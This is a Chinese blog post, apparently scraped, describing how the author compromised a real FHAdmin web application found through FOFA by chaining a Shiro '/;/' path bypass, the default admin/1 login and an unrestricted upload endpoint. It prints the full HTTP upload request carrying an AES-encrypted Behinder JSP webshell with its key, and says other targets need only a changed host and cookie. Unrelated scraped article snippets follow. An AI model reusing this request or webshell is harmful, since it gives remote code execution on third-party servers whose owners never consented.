FHAdmin实战获取shell
又是一个愉快的摸鱼的一天,闲来无事去逛先知社区突然看到了一篇名为shrio权限实战绕过的文章(https://xz.aliyun.com/t/8311),这时不禁突然 回想起来之前看到过的一个微信公众号文章:那夜我做了个梦,差点我就相信了 !
于是便开启了新一轮的探索,我们可以去fofa去查找 intitle:FHAdmin,当然我之前是搜索过的所以在我打开搜索框输入 fh的一刹那便出现了我要的网站。
下面开始正式实战
这是我们的目标网站:

结合先知社区中看到的登录框图片:

真的是出人意料的相似啊,有木有.
当然在做这个实验的时候我们还是要先验证是否存在shiro漏洞的。
当然文章中说是额米有爆破出来密码的但是,我之前看过的微信文章之后是知道存在 管理员账号密码的 :admin/1

再记住密码的情况下

好家伙直接cookie明文传输密码。
OK,接下来就按照文章中的构造吧

发现上传成功,但是居然找不到文件。
于是接着看,文章中再上传点需要请求参数?uploadPath=/plugins/uploadify/
/;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/
当然 在我在实验中还遇到了其他的问题,那就是光照猫画虎,没有注意到需要构造完整的文件上传包了,有点憨批了。
完整的如下截图:

POST /;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1873137538776189788600609431
Content-Length: 772
Connection: close
Cookie: JSESSIONID=587CDE2437A0AE2C40FB25DE5D71339C
Upgrade-Insecure-Requests: 1
DNT: 1
X-Forwarded-For: 127.0.0.1
-----------------------------1873137538776189788600609431
Content-Disposition: form-data; name="imgFile"; filename="shell.jsp"
Content-Type: application/octet-stream
AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb
-----------------------------1873137538776189788600609431
【其他类似的情况下只需要修改 host以及cookie就可以了】,这里我用的冰蝎,走起直接上传webshell。
FHAdmin实战获取shell的更多相关文章
- linux c程序中获取shell脚本输出的实现方法
linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作. ...
- Python学习总结10:获取shell输出结果
Python中获取shell命令的输出结果的常见方法如下几种: 1. import subprocess output = subprocess.Popen(['ls','-l'],stdout=su ...
- linux 获取shell内置命令帮助信息 help xx
shell,命令解释器 shell内置命令有cd/umask/pwd等 help shell内置命令适用于所有用户获取shell内置命令的帮助信息help umaskhelp if
- 怎样获取shell函数的返回值及shell命令的返回值?
1.获取shell函数调用的返回值: #!/bin/sh info() { cat jlb.sh } res=`info` echo "state: "$? echo " ...
- python获取shell输出(转)
From:http://www.cnblogs.com/snow-backup/p/5035792.html python中获取shell命令输出的方法: 1. import subproces ...
- 登陆获取shell时的配置文件加载过程
最近遇到一台ubuntu服务器登陆时默认语言环境变量变成posix问题, 导致中文显示乱码,影响程序的正常运行 # locale LANG= LANGUAGE= LC_CTYPE="POSI ...
- c获取shell中的参数
问题背景 在Linux中我们会使用到shell,来完成输入参数的获取,就如同下面的形式,这种形式在进行多语言编程和调用有着非常重要的作用 一.传递的过程 1.1 原理模型如下: 1.1.1 可执行sh ...
- shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查)
shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查) Shell脚本与MySQL数据库交互(增删改查) # 环境准备:安装mariadb 数据库 [ro ...
- jenkins pipeline中获取shell命令的标准输出或者状态
//获取标准输出//第一种 result = sh returnStdout: true ,script: "<shell command>" result = res ...
- 获取Shell后的操作
对于Windows系统主机和Linux系统主机,获取Shell后的操作都不同. Windows 当我们通过对Web服务器进行渗透,拿到了该Web服务器的shell后,可以执行系统命令后,我们该如何操作 ...
随机推荐
- unity整理
1. hashmap实现原理 Dictionary hashtable https://www.cnblogs.com/InCerry/p/10325290.html2. malloc与new3. 循 ...
- 3阶(次)贝塞尔曲线的JavaScript(JS)实现
php中文网数学符号的显示太差了,推荐看这里 贝塞尔曲线简介:贝塞尔曲线,是贝塞尔老爷子在使用电子计算机设计汽车零件的时候 进行曲面设计而采用的一种参数化的样条曲线. 一般参数方程: B(t) = \ ...
- entity framework “XXXXX”的“XXXXX”属性不能设置为“null”值
"T_LICENSE"的"LICENSEFIRSTDATE"属性不能设置为"null"值.必须将该属性设置为类型为"System. ...
- android studio的一些辅助工具
目录配置 https://blog.csdn.net/Kideers/article/details/128233984 https://blog.csdn.net/hnjcxy/article/de ...
- vue项目运行出现warnings potentially fixable with the `--fix` option的报错问题
vue-cil3 运行报错 warnings potentially fixable with the `--fix` option. 解决办法:"lint": "vue ...
- Day 22 22.1.2:增量式爬虫 - 场景2的实现
场景2的实现: 数据指纹 使用详情页的url充当数据指纹即可. 创建爬虫爬虫文件: cd project_name(进入项目目录) scrapy genspider 爬虫文件的名称(自定义一个名字即可 ...
- Lecture 1. Introduction and Basics - Carnegie Mellon - Computer Architecture 2015 - Onur Mutlu
1.Hamming Distance: 两个相同长度比特串对应位置的不同位的数量,一般使用 d(x,y) 来表示汉明距离.对两个比特串进行异或运算,统计结果为1的个数就是汉明距离. ======= ...
- lg8862题解
脑抽了,一开始想着扫描线然后用线段树求历史最大值.
- 【python学习】数据结构第一节
1.访问元组或列表中的值 (注:元素是从0开始从左往有编号的,或者从右向左编号[-1开始]) 列表 x1 = [1,2,3,4] 元组 x2 =(1,2,3,4) print(x2[0]) ...
- golang中自带base64编码和解码
package main import ( "encoding/base64" "fmt" "log" ) func main() { in ...